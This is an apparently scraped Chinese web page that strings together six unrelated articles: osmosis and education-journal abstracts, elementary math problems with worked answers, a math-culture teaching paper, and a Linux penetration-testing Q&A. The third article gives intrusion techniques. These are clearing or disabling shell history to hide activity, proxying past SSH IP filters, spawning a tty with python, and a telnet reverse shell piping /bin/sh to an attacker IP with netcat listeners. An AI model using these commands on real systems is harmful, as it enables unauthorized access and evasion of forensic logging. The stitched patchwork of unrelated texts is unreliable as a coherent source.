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渗透作用习题的几个问题

2022-10-25 08:27:17 收藏本文下载本文

“泪人儿”通过精心收集，向本站投稿了6篇渗透作用习题的几个问题，下面是小编为大家准备的渗透作用习题的几个问题，欢迎阅读借鉴。

渗透作用习题的几个问题

篇1：渗透作用习题的几个问题

关于渗透作用习题的几个问题

高中生物教材中的植物水分代谢,其中的'重点和难点都是渗透作用.对于什么叫渗透作用.书上说是“水分子通过半透膜的从高浓度扩散到低浓度的现象”.很多的习题就片面的理解这句话,设计了很多存在缺陷甚至是错误的习题和答案.下面列举几个有代表性的习题.

作者：周杰作者单位：四川省渠县二中刊名：科海故事博览・科教论坛英文刊名：KEHAI GUSHI BOLAN（BAIKE LUNTAN）年，卷(期)： “”(3) 分类号：G63 关键词：

篇2：最小公倍数问题习题及答案

最小公倍数问题习题及答案

插一排红旗共26面，原来每两面之间的距离是4米，现在改为5米.如果起点一面不移动，还可以有不移动.

考点：求几个数的最小公倍数的方法.

分析：根据“插一排红旗共26面，原来每两面之间的距离是4米”，用(26-1)×4=100米可求出需要插红旗的总距离是多少米;再根据“原来每两面之间的距离是4米，现在改为5米”，可知如果起点一面不动，那么4和5米的公倍数也就是公共点的'旗就不需要动;4和5的最小公倍数是20，用100÷20即可得出除了起点一面不移动外，还可以有5面不需移动.

解答：解：总距离：(26-1)×4=100(米)，

4和5的最小公倍数是20，

所以除了起点一面不移动外，不需要移动的还有：100÷20=5(面);

答：如果起点一面不移动，还可以有5面不移动.

篇3：经典的Linux渗透测试问题

此攻略中的题目收集于Wooyun zone，每道题其实都有一些不同的解法，且本套题中有不少题的题目写的不是很清晰，容易产生误解，本题解仅作抛砖引玉，希望有其他解答方案的同学可以留言共同探讨。

1、登录系统如何不让记录历史操作命令?

1.修改/etc/profile文件将HISTSIZE = 1000为0或1 # 91ri.org注：HISTSIZE 是环境变量中用于设置可以保存的历史命令条数，设置为0便不会保存。小编首次见到此题目是在wooyun zone 但zone上面的回答都是下面的2，3两种方案，实际上最符合题意的应该是修改环境变量这种。

2.或者清除用户主目录路径下， bash_history

3.立即清空历史命令的历史记录

history -c

4.bash执行的命令不是立即命令名称写入到历史文件中，而是存储在内部缓冲区，因此也将等bash退出时一并写入。

但是，你可以调用的历史w’的命令bash立即更新历史文件。

history -w

2、ssh 限制了ip登录，要求ssh登录，如何处理?

如果确认被过滤了，并且你有一个shell的话，可以先在这个机器里跑个lhtran.c做一个 socks proxy，如果端口都被过滤了，就再用一次lhtran回连一个socks proxy，这个时候你可以试试用这个代理登录他的ssh,如果好运的话(allow里写了本机的地址)，你可以进入系统。

#91ri.org注：wooyun上有人说可以使用iptable转发端口突破，似乎如果只有个user的shell，不能操作iptable吧。也许小编知识水平不够高，不知各位读者有什么想法?欢迎留言讨论，这个问题出的不是很严谨，应该有其他方法。

3、在ssh后门里看不到对方是否登录的情况下，用哪个命令可以准确显示出来?

可以尝试通过linux下的w和who命令来查看。

关于w和who命令的用法可参考《Linux中W与Who命令的使用》

4、如何获取真正的tty

解决这道题我们要先知道两个前置知识，tty与console有什么区别：

1. console是输出设备，tty是字符设备

2. console是虚拟设备，映射到真正tty上面

不过这题作者似乎写的不是很明白，小编按题意给出个人理解，大家自行参考，

解法1：

[test@localhost ~]$ tty/dev/tty2

解法2(wooyun@坏虾)：

python -c 'import pty; pty.spawn(“/bin/sh”)'

解法3：

[test@localhost ~]$ who5、如何使用telnet进行反向连接

这道题可难为我们团队的同学了，网上的资料说这个无法实现，而且题目感觉写的不清晰，我们做了2天才解决这个问题。

telnet反向连接在实战中的作用：

案例1：试图获取某工业级数据包检测防火墙或者路由器之后(基于路由的防火墙，不代理任何服务)的一台UNIX的系统的WEB服务器的访问权。防火墙仅对外网开放了80及443，这台WEB服务器存在phf漏洞(phf漏洞是什么自行脑补)，可远程对该web服务器执行命令。此时就可以通过unix自带的telnet获取到一个交互式的SHELL。(91ri.org补充：因为之所以不用NC是因为服务器一般都有安装telnet，且很少受到限制。而connect又是从目标主机中发起，所以可以达到穿透防火墙及内网的作用。)

环境假设：

target ip : 192.168.128.105

hacker ip：192.168.128.100

telnet 反向连接命令：

target ：

/usr/bin/telnet 192.168.128.100 80 |/bin/sh |/usr/bin/telnet 192.168.128.100

hacker：

/opt/netcat/bin/nc -l -n -v -p 80/opt/netcat/bin/nc -l -n -v -p 25

命令说明：实际上我们是将telnet连接到hacker的80端口的NC上，为了与传统的unix的输入输出机制保持一致，我们通过标准输出即键盘通过管道输给了Bourne shell。而由/bin/sh 执行命令的结果再通过管道输出telnet，并返回到hacker的25端口的NC上。

之所以选择80和25是因为大多数防火墙都允许它们向外访问，假如没有防火墙，那么选什么端口都可以。

篇4：从习题意识到问题意识

从习题意识到问题意识

“能够运用所学的知识解决简单的问题”是小学数学教学目的之一.而在传统的应试教育模式中,教师所组织的'一切教学活动,只为了一个目的--学会解答试卷上的所有习题.在这个思想指导下,尽管教师也想吸引学生参与学习,采用多种形式与方法设计教学过程,但仍摆脱不了功利性色彩.而且,最显著之处莫过于偏重于习题意识了.

作者：许早华作者单位：江西抚州市临川区第二小学刊名：小学教学研究 PKU英文刊名：PRIMARY SCHOOL TEACHING RESEARCH 年，卷(期)： “”(11) 分类号：G62 关键词：

篇5：小学平均数问题习题及答案

小学平均数问题习题及答案

1.某次数学考试，甲乙的成绩和是184分，乙丙的成绩和是187分，丙丁的成绩和是188分，甲比丁多1分，问甲、乙、丙、丁各多少分?

2.求1962、1973、1981、1994、的平均数。

3.缝纫机厂第一季度平均每月生产缝纫机750台，第二季度生产的是第一季度生产的2倍多66台，下半年平均月生产1200台，求这个厂一年的平均月产量。

4.甲种糖每千克8.8元，乙种糖每千克7.2元，用甲种糖5千克和多少乙种糖混合，才能使每千克糖的价钱为8.2元?

5.7个连续偶数的和是1988，求这7个连续偶数。

6.6个学生的年龄正好是连续自然数，他们的年龄和与小明爸爸的.年龄相同，7个人年龄一共是126岁，求这6个学生各几岁?

习题六解答

1.∵甲+乙=184 (1)

乙+丙=187 (2)

丙+丁=188 (3)

(2)-(1)丙-甲=3 (4)

(3)-(4)丁+甲=185

∴甲=(185+1)÷2=93(分)

丁=93-1=92(分)

乙=184-93=91(分)

丙=187-91=96(分)

答：甲、乙、丙、丁的成绩分别为93分、91分、96分、和92分。

2.1962+1973+1981+1994+2005

=1981×5+(13+24)-(8+19)

=9915。

9915÷5=1983。

3.①上半年总产量：

750×3+750×3×2+66=6816(台)

②下半年总产量：1200×6=7200(台)

③平均月产量：(6816+7200)÷12=1168(台)

答：平均月产量是1168台。

4.(8.8-8.2)×5÷(8.2-7.2)=3(千克)

答：与乙种糖3千克混合。

5.分析已知奇数个偶数的和，可以用和除以个数求出中间数，再求出其他各偶数。

中间数：1988÷7=284

其他六个数分别为278、280、282、284、286、288、290。

答：这7个偶数分别为：278、280、282、284、286、288、290。

6.分析 6个孩子年龄和与小明爸爸年龄相同，说明小明爸爸年龄是126岁的一半，是63岁.其他6个学生的年龄和也是63岁. 63÷3=21(岁)， 21=10+11为中间两个数，所以其他四人年龄依次为8、9、12、13岁。

答：这六个学生的年龄分别为：8、9、10、11、12、13岁。

篇6：高中数学教育渗透作用策略思考论文

高中数学教育渗透作用策略思考论文

高中数学知识点多而抽象，学生学习与理解的难度较大，如何在教学实践中融入数学文化教育，丰富课堂教学内容，激发学生内在学习兴趣，受到越来越多教育工作者的關注。因此，高中数学教学实践中，教师不能仅将目光放在重点知识上，还应注重数学学科的文化教育，使学生感受到数学知识的由来及魅力所在，使学生由被动学向主动学转变。

一、高中数学思想及文化

高中数学包括较多思想方法，可帮助学生顺利的解答出相关题目，如归纳与演绎思想、极限思想、数形结合思想等。高中教学实践中，为提高学生对数学思想的认识与理解，应注重数学思想相关的文化融入到相关的教学环节中。例如，在讲解数列求和知识点时，教师往往会讲解“错位相减法”，为帮助学生掌握这一方法的来源，教师不妨讲解《几何原本》中有关该公式的推导。同时，在讲解导数、积分知识点时，教师应为学生讲解极限思想的历史，尤其讲解我国古代的“割圆术”，激发学生的民族自豪感，激发主动学习数学知识热情。另外，考虑到数形结合思想学生并不陌生，而且时常应用到解题中，因此，教师应结合教学实际，为学生讲解解析几何的发展历史，以及在推动社会进步中的作用，使学生充分感受到数学的重要性，更加积极的学习数形结合思想，提高数学解题能力与技巧。

二、高中数学文化教育的意义及可行性分析

1.高中数学文化教育的意义

在高中教学实践中注重文化教育具有重要的现实意义，主要体现在两个方面：一方面，数学文化对人的观念、思维方式产生积极的影响。数学知识的诞生是人们思维的产物、智慧的结晶，注重数学文化的讲解，尤其一些数学问题的提出、分析、研究方式，有助于给学生的思维造成启发，更好的`培养学生数学素养。另一方面，有利于学生创造性思维的发展。数学文化的价值体现在其能促进人们的创造性思维，尽管一些数学知识在实际生活中应用非常少，但其给人们思维方式造成的影响是深远的，一定程度上影响人们分析问题、解决问题的方式，因此，在高中数学教学实践中开展文化教育具有重要的意义。

2.高中数学文化教育的可行性分析

高中数学教学实践中，学生的求知欲旺盛，对与学习相关的知识充满好奇。同时，教师多为大学毕业，对数学文化知识了解较多，加上高中教育基础设施的完善，使得在教学实践中开展文化教育成为可能。

（1）高中生心理特点适合开展文化教育

高中生求知欲旺盛，尤其对未来充满希望，朝气蓬勃、热情奔放，尤其具有较为活跃的思想，兴趣广泛，渴望从学习中不断充实自己，因此，当教师开展文化教育时，学生会积极配合，希望从中学习到一些知识。高中生存有的这一学习的主动性，为教师开展文化教育奠定坚实的基础。

（2）高中教师为文化教育提供有力支撑

高中教师自身素质较高，为教学实践中文化教育的开展提供有力的支撑。众所周知，当前，高中教师多为本科毕业，其对当前最新的科研成果有所了解，可结合具体的教学内容有针对性的加以引入。同时，一些教师对有关数学文化了解较深，可在教学活动中穿插一些数学文化故事，在活跃课堂气氛的同时，对学生进行数学文化教育。

（3）高中学校开展文化教育设施较完善

高中阶段开展文化教育，为达到预期的效果，需要一定的硬件设施作支撑，而当前很多高中学校具备资料室、图书馆等，无论教师还是学生，可方便的查阅资料，为数学文化教育活动的顺利开展提供方便。尤其部分高中学校建设有多媒体教室，学生可通过网络查阅相关资料，接触到与数学相关的文化知识，激发其学习数学知识的欲望与热情。

三、高中数学体现教学文化的策略

高中数学教学中为更好的体现文化教育，需要教师改变数学教学观念，将数学学科当做文化教育的重要组成部分，将数学教育当做数学文化教育看待，一方面，教学实践中不能将教学内容局限在单纯的数学知识讲解上，如此很容易让学生产生枯燥感，在讲解数学知识时应注意延伸，联系其他学科内容，让学生感受到数学并非孤立的，而是与其他学科以及生活密切相关。另一方面，在数学知识的考查中也应注重涉及数学文化方面的内容，使学生不仅掌握数学原理，更要知道一些数学原理的由来，不断扩充学生的数学知识面。另外，既要注重数学文化与教材内容的融合，又要引导学生主动的进行学习，购买或上网查询与数学知识相关的文化内容。

1.在解析几何教学中的体现

高中数学教学中，在讲解数形结合思想时可采取以下教学策略，为学生先讲解解析几何的由来及产生，而后结合具体的教学案例，讲解数形结合思想的具体应用，使学生在了解数学文化的基础上，掌握数形结合解题技巧，不断提升数学解题能力。

例如，在讲解解析几何知识时，教师可根据教学课时安排，教师为学生讲解创建解析几何两个重要的人物，笛卡尔与费马。笛卡尔思想的核心在于：将几何学的问题转化为代数形式的问题，利用代数数学方法进行求解，为现代解析几何的发展奠定基础。同时，费马因对欧氏几何不仅抽象，而且对图形的依赖程度较大深表不满。他与笛卡尔均认识到代数可推理抽象未知量，因此，将其与几何知识几何起来，可达到取长补短的良好效果。

解析几何的出现将对空间的研究转化为对数量关系的研究。例如，两点A、B坐标分别为（x1，y1）、（x2、y2），那么两点间的距离可用S=■表示，从而巧妙的将几何中两点间的距离转化为代数求值问题。

教师通过讲解与解析几何相关的文化，使学生对所学知识的产生有所了解，增强其学习数学知识的兴趣，在此基础上讲解数形结合思想便顺理成章。教师应选择典型的例题进行讲解，使学生充分感受到数形结合思想在解题中的优势，养成数形结合解答数学题目的习惯。

例如，在讲解函数根的知识点后，可为学生列出以下例题：方程x2+2kx+3k=0的两根落在（-1，3）区间，求k的取值范围。此道类型的数学题目学生较为常见，使用传统的方法需进行繁琐的计算，而且计算容易出错。此时教师可引导学生利用数形结合思想进行求解，即：令f（x）=x2+2kx+3k，图像与x轴的交点即为f（x）=0的根，如图1所示。

2.在集合教学中的体现

高中数学教学实践中，为加深学生对数学文化的理解与认识，教师应结合实际情况，在集合教学中体现文化教育，更好的培养学生学习数学知识的兴趣。

例如，在学生学习集合相关知识后，教师可通过讲解数学的第三次危机，使学生对集合知识的发展有所了解。数学的第三次危机由著名的罗素悖论引起，并以多种形式通俗化，其中较为知名的为理发师的困境：理发师挂出招牌宣称：村里人所有不能给自己刮胡子的男人都有其给他们刮胡子。于是有人便詢问他，他自己的胡子由谁来刮。结果理发师不知如何回答。通过分析不难发现，不管怎样分析理发师说的话均是矛盾的。这一悖论用数学语言怎样进行描述呢？此时罗素将不包括自身在内的集合用集合S进行表示，即，S={A：A？埸A}，那么S是否包括它自己呢？

当S∈S时，由上述集合定义知S并不是A，因此，S∈S，出现矛盾；当S？埸S时，那么S即为A，显然S∈S，得出矛盾，即，不管S是否属于其自身均会得出矛盾，而解决这一危机需要数学家加深对数学基础的进一步研究，这方面的发展给数学学科产生重要影响。

集合知识是高中阶段的基础上，存在一定的抽象性，部分学生对集合知识理解不深入，表现出对数学的畏惧，因此，教学实践中，教师可通过讲解相关的文化知识，使学生充分认识到集合知识的重要性，逐渐激发其学习数学知识的兴趣。

3.在课内外读物中的体现

高中数学教学实践中文化教育应融入到学生的生活中，给学生潜移默化的影响，尤其在课内外读物中注重文化教育的体现，因此，教学实践中教师应根据教学进度，为学生推荐相关的课外书籍或订阅相关的阅读材料，要求读物中包括数学在日常生活中的应用、数学在科学中的应用以及数学史等内容。同时，在选择读物时教师应注重体现数学学科特点，内容简洁而明确，甚至配一些有趣的例题与习题供学生思考等，如此，让原本枯燥的数学学习过程因融入文化教育而变得有趣。

另外，教师为学生推荐书籍应选择具有代表性的教材，如《中国古算解趣》、《数学与哲学》、《漫画数学》、《新概念几何》等，既要符合高中生的认知特点，又能激发学生的求知欲。当然，如条件允许教师还可根据教学内容举行数学文化趣味知识比赛活动，并设立相关的奖品，颁发给表现优秀的学生，营造良好的学习数学文化的氛围。

四、结论

高中数学教学中，教师应充分认识到开展文化教育的意义以及可行性，认识到数学知识点多而枯燥的特点，在认真分析学生的心理特点的基础上，注重在解析几何、集合教学内容中融入数学文化教育，并为学生推荐相关的读物，使学生不仅掌握相关的数学知识，而且能对发生在数学背后的故事有所了解，不断提高数学知识的学习兴趣，为提升学生的数学素养奠定基础。

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